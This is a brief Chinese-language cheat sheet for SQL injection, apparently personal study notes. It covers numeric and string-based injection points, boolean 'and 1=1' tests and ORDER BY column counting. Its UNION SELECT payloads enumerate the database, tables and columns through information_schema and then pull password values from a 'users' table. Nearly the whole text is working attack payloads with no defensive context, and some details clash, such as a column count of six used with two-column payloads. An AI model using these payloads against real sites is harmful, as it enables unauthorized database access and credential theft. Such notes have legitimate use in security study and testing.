数字型注入
1 and 1=1
1 and 1=2
返回数据不一样则有注入点且为数字型注入
//判断列数
?id=and 1 order by 6 //返回正确
?id=and 1 order by 7 //返回错误
得到列数为6
查数据库:1 and 1=2 union select 1,database()
字符型注入
'and 1=1 and'1'='1
'and 1=2 and'1'='1
?id=and 1 order by 6# //返回正确
?id=and 1 order by 7# //返回错误
得到列数为6
查数据库:0' union select 1,database()#
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查字段名:0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
查数据:0' union select 1,group_concat(password) from users #
group_concat 可替换为 concat_ws(',',id,users,password )
查数据:0' union select 1,password from users limit 0,1# //只查一行